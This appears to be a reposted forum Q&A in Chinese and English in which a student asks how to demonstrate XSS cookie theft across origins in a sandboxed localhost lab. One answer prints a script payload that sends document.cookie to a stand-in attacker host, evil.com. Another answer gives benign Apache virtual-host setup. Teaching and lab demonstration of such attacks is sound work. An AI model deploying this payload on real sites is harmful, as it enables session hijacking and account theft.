如何使用 localhost 演示 SOP 的利用

发布于 2024-12-18 00:52:23 字数 478 浏览 6 评论 0原文

我正在做 XSHM(跨站点历史记录操作)项目。

我试图展示使用 XSS(跨站脚本)如何违反 SOP。我已经在沙箱 XP 机器内设置了一个本地主机(WAMP)服务器(必须符合道德规范),并使用一个简单的登录脚本,该脚本容易受到 XSS 攻击。

问题)我想表明,在将邪恶的 JavaScript 代码注入登录页面后,我可以将用户 cookie 发送到另一个源,但如何使用本地主机服务器来做到这一点?

如果 localhost 是一个源(即受害者站点),我如何创建与 localhost 不同的另一个源(即坏人站点)来发送 cookie?我知道同源要求(协议、端口和域)相同。我无法更改为 HTTPS localhost 和 HTTP localhost,因为我没有证书。我似乎无法根据网络需要更改端口号:80。

我不想使用真实的网站并将 cookie 发送到本地主机脚本,因为这将是不道德的,并且也无法执行攻击,因为它不会有 XSS 漏洞来证明利用。

有什么想法吗?

I am doing project on XSHM (Cross Site History Manipulation).

I am trying to show how using XSS (Cross Site Scripting) can violate SOP. I have set up a localhost (WAMP) server inside a sandbox XP machine (has to be ethically done) with a simple login script which is vulnerable to XSS attack.

Question) I want to show that after injecting evil JavaScript code into login page I can send users cookie to another origin but how can I do this using localhost servers?

If localhost is one origin (i.e. victim site), how can I create another origin (i.e bad guy site) different to localhost to send cookie to? I know to be on same origin requires (protocol, port and domain) to be same. I cant change to HTTPS localhost and HTTP localhost as I have not got certificate. I can't seem to change the port numbers as need :80 for web.

I don't want to use a real site website and send cookie to localhost script as that would be unethical and also would not be able to perform attack as it wont have XSS vulnerability to prove exploit.

Any ideas?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

╰ゝ天使的微笑 2024-12-25 00:52:23

来源并不重要,脚本只是读取同一来源上的文档 cookie,然后将其作为字符串发送到服务器,在服务器中对其进行解码,然后在作恶者的浏览器或类似浏览器中手动设置 cookie。

<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>

这会发送一个 GET 请求,并在 c 参数中包含用户的 cookie 详细信息,简单地请求图像并不违反 SOP,所以我不知道这是否有帮助。

The origin doesn't matter the script simply reads the document cookie on the same origin and then sends it to a server as a string where it is decoded and then set manually for a cookie in the evil doer's browser or similar.

<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>

This sends a GET request with the user's cookie details in the c parameter, simply requesting an image is not a violation of SOP so I don't know if this is helpful.

当梦初醒 2024-12-25 00:52:23

在 Apache 配置中设置一些虚拟主机,如下所示:

# Ensure that Apache listens on port 80
Listen 80

# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80

<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com

# Other directives here

</VirtualHost>

<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com

# Other directives here

</VirtualHost>

将它们指向 127.0.0.1 在您的主机 文件。

127.0.0.1    goodguy.com
127.0.0.1    badguy.com

现在,使用 goodguy.combadguy.com 而不是 localhost

祝你好运!

Set up a few virtual hosts in your Apache configuration like so:

# Ensure that Apache listens on port 80
Listen 80

# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80

<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com

# Other directives here

</VirtualHost>

<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com

# Other directives here

</VirtualHost>

Point them at 127.0.0.1 in your hosts file.

127.0.0.1    goodguy.com
127.0.0.1    badguy.com

Now, use goodguy.com and badguy.com instead of localhost.

Good luck!

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文